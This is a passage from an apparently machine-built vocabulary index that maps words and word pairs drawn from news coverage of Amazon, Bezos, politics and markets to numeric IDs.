156363, "g4 p4": 156364, "new shepherd": 156365, "latitude": 156366, "sizelarger text": 156367, "trump deportation": 156368, "process dod": 156369, "wing firebrand": 156370, "reporter questions": 156371, "prevent shutdown": 156372, "uniforms customized": 156373, "colorado baker": 156374, "remain passionate": 156375, "prime exclusive": 156376, "history reed": 156377, "agribusiness growth": 156378, "jfk assassination": 156379, "cameron stauch": 156380, "annual pay": 156381, "soldiers opted": 156382, "qz": 156383, "second vote": 156384, "cfr": 156385, "park play": 156386, "security forces": 156387, "prove disastrous": 156388, "potus oks": 156389, "goods rose": 156390, "fail jeff": 156391, "center flanked": 156392, "device orders": 156393, "approach led": 156394, "reporter ronan": 156395, "n\u00f3brega presidency": 156396, "forbes asia": 156397, "eye catching": 156398, "retarded indigenous": 156399, "basic principles": 156400, "renewed focus": 156401, "parties scheduled": 156402, "reporting sky": 156403, "inflate amazon": 156404, "exclusives tech": 156405, "wealthy donors": 156406, "shaken investors": 156407, "consultants": 156408, "vesa compatible": 156409, "potential merger": 156410, "holds monopoly": 156411, "daily utility": 156412, "leaders blaming": 156413, "warehouses waving": 156414, "newsletters": 156415, "opportunity act": 156416, "usps inspector": 156417, "philanthropy": 156418, "ballooning costs": 156419, "oversight republicans": 156420, "monthly job": 156421, "caleb light": 156422, "timesunion": 156423, "subsidiaries trump": 156424, "ub vb": 156425, "673": 156426, "amazon novey": 156427, "york working": 156428, "a8 l7": 156429, "plus deals": 156430, "manigault": 156431, "amazon half": 156432, "search feature": 156433, "wallow": 156434, "bezos obtained": 156435, "labor action": 156436, "enabling arrests": 156437, "frankfurt dax": 156438, "facebook previously": 156439, "arboretum treks": 156440, "creating lot": 156441, "day deals": 156442, "workers trashing": 156443, "pera": 156444, "faces extradition": 156445, "clutter": 156446, "boring trump": 156447, "prosector": 156448, "raises question": 156449, "litigating": 156450, "ip suppose": 156451, "filed freedom": 156452, "admitted thousands": 156453, "movie life": 156454, "story older": 156455, "table today": 156456, "female characters": 156457, "restock shelves": 156458, "amazon selected": 156459, "phone": 156460, "apple severed": 156461, "new sites": 156462, "descriptionplaintext late": 156463, "american democracy": 156464, "lengthy prison": 156465, "currently rolling": 156466, "car carrying": 156467, "2384": 156468, "dwe3mueavh": 156469, "clean gg": 156470, "company original": 156471, "developed best": 156472, "trump issued": 156473, "regarding device": 156474, "borrell": 156475, "dayand": 156476, "post personally": 156477, "reinstated mccabe": 156478, "story zakim": 156479, "decade history": 156480, "want bezos": 156481, "site newegg": 156482, "helping entrepreneurs": 156483, "definitive agreement": 156484, "amazon embarrassment": 156485, "midwest": 156486, "sister": 156487, "analysis comics": 156488, "inhumane getty": 156489, "rockers poster": 156490, "city shirts": 156491, "donate subscribe": 156492, "goth jessica": 156493, "damares": 156494, "day make": 156495, "vile": 156496, "eyeing individuals": 156497, "investors confront": 156498, "describing": 156499, "bruder nomadland": 156500, "developers did": 156501, "distracted easily": 156502, "simply impossible": 156503, "deal derided": 156504, "years tax": 156505, "karin": 156506, "year compared": 156507, "lockhart": 156508, "faa decision": 156509, "immediately think": 156510, "income inequality": 156511, "oscars selma": 156512, "country build": 156513, "government sweeping": 156514, "amazon acrylic": 156515, "volume grew": 156516, "clearly seen": 156517, "culling": 156518, "italie photo": 156519, "miners ur": 156520, "winner new": 156521, "mccain absence": 156522, "amazon spreads": 156523, "insults": 156524, "immigrants supercharging": 156525, "noble lost": 156526, "promoting new": 156527, "borrowing": 156528, "portuguese island": 156529, "attenborough": 156530, "chamayou observes": 156531, "frankfurt lost": 156532, "city fed": 156533, "hedge fund": 156534, "meaning way": 156535, "hudgins postal": 156536, "company understand": 156537, "important question": 156538, "says survivor": 156539, "google sergey": 156540, "electoral votes": 156541, "gleefully promoted": 156542, "football stadium": 156543, "rumors": 156544, "fingerprint records": 156545, "solutions particularly": 156546, "avert shutdown": 156547, "thing seattle": 156548, "lobbyists hit": 156549, "mongodb": 156550, "profit beginning": 156551, "office makes": 156552, "criticism uniquely": 156553, "baseball game": 156554, "just filling": 156555, "media posts": 156556, "positive consumer": 156557, "varney gathered": 156558, "usps previously": 156559, "enquirer allegedly": 156560, "posts share": 156561, "race sex": 156562, "quintessentially": 156563, "sector say": 156564, "city wasn": 156565, "product dating": 156566, "revenue reflecting": 156567, "growth begin": 156568, "churn little": 156569, "workers amid": 156570, "crime afghan": 156571, "concentrated outreach": 156572, "finally confirmed": 156573, "thank responders": 156574, "trump sides": 156575, "obama speechwriter": 156576, "hbo news": 156577, "bernanke geithner": 156578, "font family": 156579, "regarding search": 156580, "responsible investment": 156581, "ymca": 156582, "grueling work": 156583, "ment": 156584, "neutral silver": 156585, "admits acknowledges": 156586, "cooper debunks": 156587, "opener norah": 156588, "tulsa": 156589, "permitting just": 156590, "pharmaceuticals marketing": 156591, "correctly identifies": 156592, "uses": 156593, "efforts according": 156594, "horvers": 156595, "sbd": 156596, "bank data": 156597, "making adjustments": 156598, "little skunk": 156599, "certainly pulling": 156600, "great hope": 156601, "funding available": 156602, "time wife": 156603, "recruit employees": 156604, "g8 c2x": 156605, "yeah apple": 156606, "imf mideast": 156607, "inexpensively ship": 156608, "outdoor string": 156609, "paulette perhach": 156610, "delved": 156611, "trump breaks": 156612, "nature climate": 156613, "americans work": 156614, "dow closed": 156615, "free downloads": 156616, "speaker michael": 156617, "yusaku maezawa": 156618, "direct harm": 156619, "partial privatization": 156620, "american muslim": 156621, "bleday hours": 156622, "saunders": 156623, "leslie van": 156624, "theo": 156625, "infringing listings": 156626, "trade near": 156627, "2992": 156628, "elected man": 156629, "great growth": 156630, "trademark law": 156631, "entire sketch": 156632, "agency administrator": 156633, "queens nyc": 156634, "novel traps": 156635, "companies deferred": 156636, "marched early": 156637, "obvious politics": 156638, "preferential": 156639, "repulsive": 156640, "news paper": 156641, "tech report": 156642, "cullen": 156643, "signed production": 156644, "cher sex": 156645, "singles chart": 156646, "ban payments": 156647, "grocery prices": 156648, "week staff": 156649, "including mid": 156650, "lawfully": 156651, "2016 meeting": 156652, "federal paperwork": 156653, "clinic turns": 156654, "sports section": 156655, "bus plunged": 156656, "labor pool": 156657, "2018 photo": 156658, "founded kerr": 156659, "tallied numbers": 156660, "resounding respect": 156661, "news contact": 156662, "quieter": 156663, "aot enjoy": 156664, "noncommittal": 156665, "read far": 156666, "britain influence": 156667, "ad spend": 156668, "walmart symantec": 156669, "triple": 156670, "thatthe political": 156671, "young educated": 156672, "burger king": 156673, "destroys": 156674, "metrics directly": 156675, "specific actions": 156676, "won world": 156677, "lissa": 156678, "good ol": 156679, "woolley wilson": 156680, "resolution fda": 156681, "larger company": 156682, "snapdragon 855": 156683, "state investigators": 156684, "simply just": 156685, "lizard person": 156686, "revised declines": 156687, "bezos letter": 156688, "committee chairman": 156689, "sector growth": 156690, "link sent": 156691, "dhs acknowledging": 156692, "china major": 156693, "ceo tom": 156694, "unless local": 156695, "kapos": 156696, "nshongore faustin": 156697, "brett kavanough": 156698, "met key": 156699, "dismantling": 156700, "newspaper critical": 156701, "alphastreet": 156702, "companies appear": 156703, "city council": 156704, "kalorama neighbourhood": 156705, "regions previously": 156706, "price fixing": 156707, "ex playboy": 156708, "grodenchik": 156709, "higher yielding": 156710, "predominantly": 156711, "liberal bezos": 156712, "run mark": 156713, "banner alzheimers": 156714, "rants share": 156715, "doubt embolden": 156716, "trump regard": 156717, "facebook wasn": 156718, "google controls": 156719, "francisco based": 156720, "gidley told": 156721, "fox trump": 156722, "imagined amazon": 156723, "south american": 156724, "retailer wanting": 156725, "emma": 156726, "transportation including": 156727, "mail statement": 156728, "light trading": 156729, "company retreat": 156730, "featuring burning": 156731, "boom luisa": 156732, "post anti": 156733, "pennsylvania bid": 156734, "lucrative relationship": 156735, "murakami": 156736, "waffled okonomiyaki": 156737, "police bodycam": 156738, "official bloomberg": 156739, "chefsgiving": 156740, "soybean cultivation": 156741, "kellogg school": 156742, "uber car": 156743, "stop making": 156744, "new single": 156745, "officials discussed": 156746, "movie": 156747, "military ability": 156748, "data privacy": 156749, "bit maybe": 156750, "units sold": 156751, "decade critics": 156752, "people fleeing": 156753, "changing times": 156754, "delisted": 156755, "takedown": 156756, "investigation severe": 156757, "parliamentary defeat": 156758, "wood jr": 156759, "amazon poster": 156760, "poll indicates": 156761, "virginia dallas": 156762, "157 shares": 156763, "wadtw logo": 156764, "cyrillic characters": 156765, "redhotblaziken redhotblaziken": 156766, "raised rates": 156767, "high born": 156768, "affair michael": 156769, "campaign raised": 156770, "english scandal": 156771, "emmy": 156772, "huge blow": 156773, "prominent democrats": 156774, "mozzarella": 156775, "decisions ig": 156776, "text commercial": 156777, "extraordinary afternoon": 156778, "flight cloud": 156779, "read analysts": 156780, "popular residents": 156781, "months likewise": 156782, "magazine editor": 156783, "kossowan airs": 156784, "launching skip": 156785, "king chris": 156786, "rollback trump": 156787, "coordinated patrick": 156788, "toronto squarely": 156789, "carbon reductions": 156790, "big production": 156791, "lindsey vonn": 156792, "market breakdown": 156793, "jobs crisis": 156794, "sharma": 156795, "hurdles": 156796, "critical semiconductor": 156797, "allegations american": 156798, "deal wouldn": 156799, "dollar does": 156800, "roelof": 156801, "hop star": 156802, "anticipated earnings": 156803, "47m rebecca": 156804, "clauses": 156805, "indian reservation": 156806, "government school": 156807, "nixon attorney": 156808, "mountain 600s": 156809, "computing paid": 156810, "ivan gonzales": 156811, "speakers": 156812, "gas explosion": 156813, "chase tech": 156814, "wealth lc": 156815, "landscape amazon": 156816, "traders welcome": 156817, "outcomes": 156818, "financial challenges": 156819, "children tend": 156820, "brands saw": 156821, "shares invesco": 156822, "phases based": 156823, "john paul": 156824, "1893": 156825, "having bought": 156826, "haven pushed": 156827, "oppo": 156828, "954 billion": 156829, "deal jeff": 156830, "ukraine": 156831, "jarvis": 156832, "multiple committees": 156833, "service including": 156834, "company citizenship": 156835, "just simple": 156836, "editors mary": 156837, "2f1999 enddate": 156838, "wry": 156839, "teasing possible": 156840, "company dis": 156841, "plots swan": 156842, "disappointed customers": 156843, "mars conference": 156844, "pass thanks": 156845, "dollar business": 156846, "surest sign": 156847, "offer rudimentary": 156848, "reports today": 156849, "snarky": 156850, "facts straight": 156851, "epa hasn": 156852, "fuel infrastructure": 156853, "mcdougal payments": 156854, "addition kroger": 156855, "1271": 156856, "origin": 156857, "explore bankruptcy": 156858, "national audience": 156859, "studying opportunity": 156860, "1990s robust": 156861, "petty immature": 156862, "marriage presumably": 156863, "coordination efforts": 156864, "personal feud": 156865, "uglier": 156866, "embarked": 156867, "gy6nbvge0c dan": 156868, "harassment including": 156869, "skewer trump": 156870, "w0 w0": 156871, "curbelo fla": 156872, "pelosi age": 156873, "target china": 156874, "particularly concerned": 156875, "colleagues": 156876, "financial clout": 156877, "office lot": 156878, "shared life": 156879, "singapore bolton": 156880, "sara gottfried": 156881, "skews": 156882, "utility dominion": 156883, "energy commission": 156884, "shares nosedive": 156885, "500 best": 156886, "rowling": 156887, "highlighted": 156888, "various government": 156889, "patients amazon": 156890, "moveon posted": 156891, "indian mumbai": 156892, "2b visa": 156893, "gifts just": 156894, "selects": 156895, "prop": 156896, "owner doesn": 156897, "organization matched": 156898, "aircraft delivering": 156899, "virginia locations": 156900, "edge continues": 156901, "tale instead": 156902, "nyna": 156903, "discriminated": 156904, "arab emirates": 156905, "equity giant": 156906, "epa chief": 156907, "strong earnings": 156908, "brexit test": 156909, "listing supporters": 156910, "2020 debate": 156911, "predictive analysis": 156912, "lazy right": 156913, "ronyism": 156914, "twitter ragehole": 156915, "failing employees": 156916, "socialism big": 156917, "specific criteria": 156918, "power results": 156919, "wholesalers": 156920, "unspoken rivalry": 156921, "matthew staver": 156922, "dearly reports": 156923, "helipad new": 156924, "check conversation": 156925, "designee": 156926, "dhoward xxxxxxx": 156927, "face worst": 156928, "platform taobao": 156929, "uber nyse": 156930, "disinformation active": 156931, "leave bezos": 156932, "smartphone business": 156933, "2lqswbh politico": 156934, "000 flights": 156935, "churned": 156936, "naughty bits": 156937, "armisen": 156938, "financial bogeyman": 156939, "clea": 156940, "triggered seachange": 156941, "machine": 156942, "conservative daily": 156943, "ordering process": 156944, "selyukh byline": 156945, "diverse industries": 156946, "took victory": 156947, "provide important": 156948, "khqdwikvjv": 156949, "fitton conservative": 156950, "feelings given": 156951, "news washington": 156952, "murray jr": 156953, "splendid": 156954, "mccain attacks": 156955, "talk tech": 156956, "766th richest": 156957, "hails": 156958, "alpha seeking": 156959, "charles missouri": 156960, "soon decline": 156961, "called empire": 156962, "a2ckhl3zj9": 156963, "counsel investigation": 156964, "doesn necessarily": 156965, "blaming opposition": 156966, "discounting": 156967, "striking things": 156968, "wynn": 156969, "convicted walmart": 156970, "biological sex": 156971, "amazon avoided": 156972, "policy wasn": 156973, "china including": 156974, "possible combinations": 156975, "monopoly bad": 156976, "ceo underlines": 156977, "ksh 2600": 156978, "paring": 156979, "admissions scandal": 156980, "chronicle books": 156981, "andrea kaye": 156982, "publish dirt": 156983, "enquirer later": 156984, "trump obstruction": 156985, "google goog": 156986, "immensely successful": 156987, "crispr modified": 156988, "lon orig": 156989, "conga": 156990, "final": 156991, "potentially destabilizing": 156992, "entire commerce": 156993, "credible accusation": 156994, "medicare alliance": 156995, "projects compared": 156996, "acted criminally": 156997, "amazon decides": 156998, "congressman joe": 156999, "average cost": 157000, "conservative wide": 157001, "week aimed": 157002, "regulatory reductions": 157003, "new barriers": 157004, "dine": 157005, "funko pop": 157006, "business amazon": 157007, "james whitey": 157008, "appropriate action": 157009, "trump opening": 157010, "comply": 157011, "morning just": 157012, "case return": 157013, "vitriol": 157014, "locate new": 157015, "mistake pelosi": 157016, "future sfb": 157017, "payment lending": 157018, "walks": 157019, "unwieldy": 157020, "fresh prepared": 157021, "personally pushing": 157022, "produce scripted": 157023, "lift gives": 157024, "tops forbes": 157025, "890": 157026, "residents read": 157027, "hue bulb": 157028, "entertainment litigator": 157029, "weather tennessee": 157030, "nonconsensual contact": 157031, "team concluded": 157032, "tips suggestions": 157033, "symantec stock": 157034, "donnell equality": 157035, "giant owner": 157036, "make huge": 157037, "gates make": 157038, "c5": 157039, "mclarty": 157040, "2015 post": 157041, "appear stable": 157042, "increases jim": 157043, "recent weakness": 157044, "zeng": 157045, "jamescomey mccabe": 157046, "spinit": 157047, "data storyurl": 157048, "american myths": 157049, "usually means": 157050, "biz known": 157051, "grow faster": 157052, "res longer": 157053, "seeks update": 157054, "overseeing": 157055, "thechallenge": 157056, "effective ways": 157057, "business meetings": 157058, "long know": 157059, "paying exactly": 157060, "z8": 157061, "rhetoric bad": 157062, "author mackenzie": 157063, "cassidy thank": 157064, "context unspooling": 157065, "creative services": 157066, "suddenly turn": 157067, "robust program": 157068, "leslie jones": 157069, "says deborah": 157070, "mom makeover": 157071, "adrenaline rush": 157072, "mkm": 157073, "activist anyanwu": 157074, "firm unless": 157075, "soaring policy": 157076, "based taylor": 157077, "observers say": 157078, "chapo used": 157079, "general offered": 157080, "states recognized": 157081, "king hype": 157082, "children toy": 157083, "data harvesting": 157084, "greer thanks": 157085, "newer apps": 157086, "amazon paid": 157087, "116 look": 157088, "registration fee": 157089, "dep": 157090, "florida yoga": 157091, "apartments": 157092, "parkland shooting": 157093, "seattle business": 157094, "fraudnewscnn fnn": 157095, "funding pinch": 157096, "amazon quarterly": 157097, "pecker word": 157098, "g3xrcr9ixk sadly": 157099, "contract manufacturer": 157100, "consulting group": 157101, "whiteroseevolution": 157102, "issues blocking": 157103, "author david": 157104, "rtd": 157105, "etsy base": 157106, "loud": 157107, "daily engagement": 157108, "connecticut": 157109, "legal negotiation": 157110, "novelist father": 157111, "spiritual salvation": 157112, "messaging app": 157113, "free": 157114, "democrats just": 157115, "basic books": 157116, "quarterly financial": 157117, "protein shake": 157118, "amid speculation": 157119, "dell aws": 157120, "weeping": 157121, "increasingly looks": 157122, "veto kalanick": 157123, "summit house": 157124, "harlem vince": 157125, "perceptive observer": 157126, "predicting near": 157127, "billionaire penis": 157128, "company size": 157129, "data present": 157130, "painter believes": 157131, "country likes": 157132, "schools churches": 157133, "war sthash": 157134, "jobs 1500": 157135, "low point": 157136, "methodically carefully": 157137, "documents obtained": 157138, "closed deals": 157139, "organized akin": 157140, "surely flying": 157141, "conmijente": 157142, "mercenary": 157143, "accusing ami": 157144, "wisconsin nonpartisan": 157145, "sharply reduced": 157146, "landless": 157147, "ixlffnkhqx pic": 157148, "agony human": 157149, "deal stuck": 157150, "destructively": 157151, "elections story": 157152, "kavanaugh": 157153, "sacred": 157154, "administration donald": 157155, "minded attacks": 157156, "surely helps": 157157, "trump common": 157158, "rabinovitz calls": 157159, "vegas nev": 157160, "delivering": 157161, "trump stock": 157162, "makes waste": 157163, "liability corp": 157164, "dejoy": 157165, "post love": 157166, "gingerbread": 157167, "jobs jeff": 157168, "security computers": 157169, "deadly military": 157170, "ulmanu": 157171, "hating thedemocrats": 157172, "latest investing": 157173, "saga dad": 157174, "don live": 157175, "owner formally": 157176, "presidential contempt": 157177, "week incident": 157178, "intensified": 157179, "pets kiosk": 157180, "ostensibly benefits": 157181, "patrick left": 157182, "theinformation": 157183, "gannon": 157184, "coates contemplates": 157185, "hit newsstands": 157186, "losses 2018": 157187, "opens": 157188, "justin": 157189, "current product": 157190, "trump wove": 157191, "hats hair": 157192, "service takes": 157193, "hurricane beach": 157194, "richard frank": 157195, "iphone manufacturer": 157196, "party accounts": 157197, "television stations": 157198, "clouds modern": 157199, "wing receptionist": 157200, "million travelers": 157201, "detecting": 157202, "wholesaling efforts": 157203, "believe democrat": 157204, "twitter following": 157205, "venture capital": 157206, "left wearing": 157207, "jbl duet": 157208, "seamless transition": 157209, "election scandal": 157210, "wealth mgmt": 157211, "cohen story": 157212, "mustard": 157213, "questions operator": 157214, "receive academic": 157215, "gambelli president": 157216, "slain": 157217, "liberties attorney": 157218, "faces law": 157219, "fully automate": 157220, "microsoft jason": 157221, "breaks": 157222, "ban chinese": 157223, "company laid": 157224, "hasn remained": 157225, "spending edges": 157226, "joined hulu": 157227, "times col": 157228, "worlds collide": 157229, "jw": 157230, "channel series": 157231, "amazing amusing": 157232, "easily taking": 157233, "client": 157234, "minister inspiring": 157235, "anti technology": 157236, "office interview": 157237, "hold people": 157238, "exemptions deductions": 157239, "films watched": 157240, "hal singer": 157241, "investjust start": 157242, "times regarding": 157243, "lobbyist despite": 157244, "ravi": 157245, "agenda despite": 157246, "preliminary": 157247, "real excitement": 157248, "agreements recessions": 157249, "735": 157250, "articleshow 67777125": 157251, "complete drawing": 157252, "5e383231323b626f6c6465725f6e6577735f616374696f6e": 157253, "outsized names": 157254, "denied paternity": 157255, "backdating documents": 157256, "debuts weekly": 157257, "reportedly worth": 157258, "delicious fried": 157259, "china cuts": 157260, "unfold worldwide": 157261, "lives": 157262, "commerce marketplace": 157263, "toronto urbanologist": 157264, "reveals aldi": 157265, "rasing taxes": 157266, "panel told": 157267, "second publicly": 157268, "workers looking": 157269, "phillip politico": 157270, "red neckline": 157271, "congressional hearing": 157272, "sec filings": 157273, "poses meaningful": 157274, "airports tsa": 157275, "owns huge": 157276, "beautiful golden": 157277, "agenda trump": 157278, "enjoyed designing": 157279, "single employee": 157280, "count costs": 157281, "undisclosed": 157282, "bribing": 157283, "sources study": 157284, "street businesses": 157285, "floor according": 157286, "shopping site": 157287, "local authorities": 157288, "company fulfillment": 157289, "228515 inc_homepage_headline": 157290, "earth history": 157291, "begin video": 157292, "tyle": 157293, "ron johnson": 157294, "800": 157295, "lauderdale international": 157296, "rachel siegel": 157297, "women lisa": 157298, "behemoth evade": 157299, "amazon chinese": 157300, "records associated": 157301, "lava": 157302, "different sounds": 157303, "kana": 157304, "1985 novel": 157305, "govpredict findings": 157306, "expand amazon": 157307, "doen aan": 157308, "saw moser": 157309, "cnl_filelocation": 157310, "critics worrying": 157311, "najarian yes": 157312, "working families": 157313, "good corporate": 157314, "including trump": 157315, "significant challenge": 157316, "including rogue": 157317, "deze plekken": 157318, "nevis": 157319, "elemental main": 157320, "ladd": 157321, "criticized walmart": 157322, "consecutive quarter": 157323, "federal jury": 157324, "transgender student": 157325, "voa": 157326, "flush": 157327, "shipping inventory": 157328, "opposition jeff": 157329, "captures civil": 157330, "news wire": 157331, "tel": 157332, "expecting pretty": 157333, "journal wikileaks": 157334, "threatened cnn": 157335, "year pitched": 157336, "toil": 157337, "riddance": 157338, "article cardinal": 157339, "partygoers saved": 157340, "tanking right": 157341, "nuke demands": 157342, "besieged retail": 157343, "download": 157344, "federal filings": 157345, "voters particularly": 157346, "slim margins": 157347, "safety medal": 157348, "rates making": 157349, "hours workers": 157350, "bomb threat": 157351, "autoplayvideoexist cnn": 157352, "predetermined": 157353, "valuable": 157354, "functional equivalent": 157355, "c0 ta": 157356, "advertising ecosystem": 157357, "spending limits": 157358, "corporation discussed": 157359, "professors rebecca": 157360, "stock option": 157361, "powerhouse headed": 157362, "cnn state": 157363, "promotes wealth": 157364, "chairman jeff": 157365, "rigging search": 157366, "policy failure": 157367, "tech study": 157368, "americans away": 157369, "sec": 157370, "inc_autid inc_typid": 157371, "voted": 157372, "ami responded": 157373, "follows hollywood": 157374, "undisciplined entitlements": 157375, "argument": 157376, "lunar lander": 157377, "leaning independent": 157378, "collected consumption": 157379, "instant news": 157380, "especially vulnerable": 157381, "weaved": 157382, "develop ethical": 157383, "island warehouse": 157384, "worshipers": 157385, "walker governor": 157386, "great britain": 157387, "masterpiece": 157388, "apparently jumps": 157389, "asia shares": 157390, "privately fuming": 157391, "201 operator": 157392, "amazon handful": 157393, "reverse policy": 157394, "martingale asset": 157395, "year trading": 157396, "usps dhl": 157397, "giant tech": 157398, "photo alex": 157399, "contact list": 157400, "wanted season": 157401, "control gianaris": 157402, "louise_matsakis wired": 157403, "msnbc journalist": 157404, "corporate mail": 157405, "separates": 157406, "akanksha": 157407, "twitter stem": 157408, "nick fauchald": 157409, "house anya": 157410, "titanic": 157411, "dorning": 157412, "hatch throw": 157413, "special adviser": 157414, "310 million": 157415, "president election": 157416, "negotiated deal": 157417, "amazon pillpack": 157418, "roman catholic": 157419, "maxsa warehouse": 157420, "t000023122 c000212486": 157421, "francisco county": 157422, "european decision": 157423, "taking matters": 157424, "rep aoc": 157425, "example netflix": 157426, "officials did": 157427, "game crazy": 157428, "select zip": 157429, "cruel drama": 157430, "total dollars": 157431, "secondary headquarters": 157432, "involve pay": 157433, "making improvements": 157434, "people forget": 157435, "ceo takes": 157436, "limited role": 157437, "quarterly high": 157438, "pit stop": 157439, "based economist": 157440, "ceo comments": 157441, "arabia ahead": 157442, "wife lisa": 157443, "preference": 157444, "limited moves": 157445, "air mattresses": 157446, "2018 director": 157447, "politico playbook": 157448, "granted man": 157449, "bellyaching": 157450, "q2 personal": 157451, "blue chips": 157452, "cases": 157453, "subdued": 157454, "shipping industry": 157455, "blanchard": 157456, "death stakes": 157457, "client mounting": 157458, "assistants sensible": 157459, "agency changes": 157460, "models": 157461, "iphone demand": 157462, "dui rhythm": 157463, "pardoned": 157464, "anxious": 157465, "koett german": 157466, "statustext": 157467, "street likes": 157468, "lf2 lf3": 157469, "thecity concern": 157470, "home prices": 157471, "heaping praises": 157472, "stream": 157473, "evidence oops": 157474, "orleans called": 157475, "leaders attends": 157476, "virtuous cycle": 157477, "bad advice": 157478, "live eat": 157479, "parroted": 157480, "films tv": 157481, "fiction novel": 157482, "2fuser 2fnewsletter": 157483, "capcon roundup": 157484, "empire videocmsurl": 157485, "food delivery": 157486, "authorhash server719402": 157487, "pam wasserstein": 157488, "stoppelman jeremy": 157489, "dark mystery": 157490, "slightly dumbed": 157491, "water signs": 157492, "government hearing": 157493, "2018 resulting": 157494, "low income": 157495, "buy red": 157496, "capsaicin": 157497, "clearly irate": 157498, "week authorized": 157499, "teen": 157500, "workers voluntarily": 157501, "good time": 157502, "son ennis": 157503, "analysts politicians": 157504, "helped independent": 157505, "flip": 157506, "finally tonight": 157507, "minor charge": 157508, "predicting consumer": 157509, "taxi farmers": 157510, "cost structure": 157511, "norah donnell": 157512, "animal planet": 157513, "autobiography": 157514, "leave embedded": 157515, "successful investment": 157516, "create thousands": 157517, "deals provider": 157518, "rising co2": 157519, "overall carbon": 157520, "300 children": 157521, "development operates": 157522, "moving forward": 157523, "progressive firebrand": 157524, "storefronts joins": 157525, "isolationism": 157526, "consumer": 157527, "soa": 157528, "komisyon sa": 157529, "expands": 157530, "100 futures": 157531, "referral": 157532, "bezos message": 157533, "thousand live": 157534, "mair wrote": 157535, "guessed": 157536, "mall santas": 157537, "tallahassee looks": 157538, "cloud customer": 157539, "major issues": 157540, "appointed member": 157541, "rico officials": 157542, "art criticism": 157543, "platforms critics": 157544, "labs generation": 157545, "starring florence": 157546, "provider": 157547, "bezos statement": 157548, "strange terrifying": 157549, "people including": 157550, "amendment affords": 157551, "200 people": 157552, "trump seat": 157553, "unmoved": 157554, "sleazy tabloid": 157555, "mediawatch": 157556, "company owes": 157557, "pay raise": 157558, "search browser": 157559, "huge audience": 157560, "told cheapskates": 157561, "spicer source": 157562, "cory anthony": 157563, "60minutes": 157564, "immense distance": 157565, "expedited service": 157566, "environmental activists": 157567, "synapse rigado": 157568, "amazon documentaries": 157569, "lewis story": 157570, "vineyard owners": 157571, "court prior": 157572, "doj discussed": 157573, "aomran229": 157574, "security office": 157575, "busiest mailing": 157576, "trade relations": 157577, "electricity plants": 157578, "cast doubt": 157579, "sears operated": 157580, "poor cruz": 157581, "aws outposts": 157582, "mary elizabeth": 157583, "million harrison": 157584, "twohour meeting": 157585, "important unresolved": 157586, "conclusion overall": 157587, "report ami": 157588, "representative robert": 157589, "accommodation": 157590, "engaged experts": 157591, "increasingly courted": 157592, "raving": 157593, "openly talks": 157594, "game ana": 157595, "vacation racism": 157596, "similar crimes": 157597, "xlf": 157598, "actual eps": 157599, "modal logistics": 157600, "doj recent": 157601, "data breach": 157602, "money phil": 157603, "impressive wrath": 157604, "news loon": 157605, "relevant personnel": 157606, "regarding corporate": 157607, "send snail": 157608, "breakneck speed": 157609, "logistics needs": 157610, "disproportionate": 157611, "specialized": 157612, "america 2018": 157613, "amazon cart": 157614, "advisory council": 157615, "facilities exceed": 157616, "gov jerry": 157617, "sons evicted": 157618, "offenders": 157619, "fees corporations": 157620, "donated just": 157621, "nunes mueller": 157622, "dropped product": 157623, "tragic failure": 157624, "atsopro sheffieldissuper": 157625, "jobs supposed": 157626, "summit geekwire": 157627, "lending": 157628, "says tariffs": 157629, "downloaded news": 157630, "purchase agreement": 157631, "just sports": 157632, "pictures celebrity": 157633, "options trade": 157634, "mailing amounts": 157635, "energy drinks": 157636, "iceland transatlantic": 157637, "firecracker virtualization": 157638, "holdings 137": 157639, "bezos looming": 157640, "vaxxed natural": 157641, "brands buybox": 157642, "primary purpose": 157643, "beale street": 157644, "decision condemning": 157645, "lobbied megan": 157646, "explored": 157647, "yield": 157648, "leaning entities": 157649, "tb": 157650, "west ireland": 157651, "migrants overall": 157652, "party loyalties": 157653, "exaggerate presidential": 157654, "national commerce": 157655, "threatened nbc": 157656, "proposed costco": 157657, "strategists bet": 157658, "tribalism": 157659, "andrea kannapell": 157660, "term estimates": 157661, "kurtz hosts": 157662, "entire emotional": 157663, "allegorical": 157664, "presenting": 157665, "netting half": 157666, "misfire led": 157667, "explicit photographs": 157668, "hits sweet": 157669, "pressure according": 157670, "tweeted accusations": 157671, "inflated faang": 157672, "1021384752136409088": 157673, "brennan clapper": 157674, "anger eighth": 157675, "biggest contributors": 157676, "ignites concerns": 157677, "make efforts": 157678, "pills daily": 157679, "bought tablehero": 157680, "possible service": 157681, "lunch hour": 157682, "budescu": 157683, "pre emptive": 157684, "bezos told": 157685, "determines": 157686, "official just": 157687, "collars": 157688, "regulations suggesting": 157689, "forcing maxsa": 157690, "evaporate": 157691, "special seminars": 157692, "mideast oil": 157693, "scenes details": 157694, "initiative isn": 157695, "videoid": 157696, "elections office": 157697, "theatre cinema": 157698, "named small": 157699, "department definition": 157700, "fed jerome": 157701, "cost benefit": 157702, "reply": 157703, "park new": 157704, "federal data": 157705, "travelpod travel": 157706, "100 results": 157707, "angeles estimates": 157708, "undermines": 157709, "mazzilli editing": 157710, "2017 cnn": 157711, "reporting cnn": 157712, "intraday trading": 157713, "agencies affected": 157714, "bezos saw": 157715, "internet overseeing": 157716, "wing dogma": 157717, "semi companies": 157718, "anthology approach": 157719, "mpf": 157720, "kushner choose": 157721, "overseas bashing": 157722, "impeached": 157723, "misspent": 157724, "prime offering": 157725, "shane iii": 157726, "pseudonym donald": 157727, "pandey": 157728, "big movement": 157729, "rock site": 157730, "kept slamming": 157731, "follow scathing": 157732, "commissioned": 157733, "jennings": 157734, "eventually moved": 157735, "jeff niiya": 157736, "assets 180928150901": 157737, "tasked": 157738, "upbeat gop": 157739, "oversight": 157740, "secret keys": 157741, "islamophobic": 157742, "fueled property": 157743, "times publishers": 157744, "goods liable": 157745, "meet leaders": 157746, "position shaub": 157747, "ayanna pressley": 157748, "surge equity": 157749, "cashes": 157750, "m2x s0": 157751, "financial deals": 157752, "innocuous crow": 157753, "happened repeatedly": 157754, "warren proposed": 157755, "hershey topped": 157756, "overcome": 157757, "restaurant manager": 157758, "boosted walmart": 157759, "1982 antitrust": 157760, "appreciably": 157761, "revelation revealed": 157762, "ministry dealing": 157763, "justify referring": 157764, "ragtag family": 157765, "application release": 157766, "elected cronies": 157767, "distort markets": 157768, "affairs running": 157769, "federal acquisition": 157770, "articles low": 157771, "pseudonym": 157772, "temporary drop": 157773, "job hurricane": 157774, "personal net": 157775, "combat package": 157776, "anew": 157777, "boeing 767": 157778, "recent fiscal": 157779, "goals lisa": 157780, "nerviest": 157781, "harm consumers": 157782, "shares valued": 157783, "joining cnbc": 157784, "following report": 157785, "z8 o2x": 157786, "globes 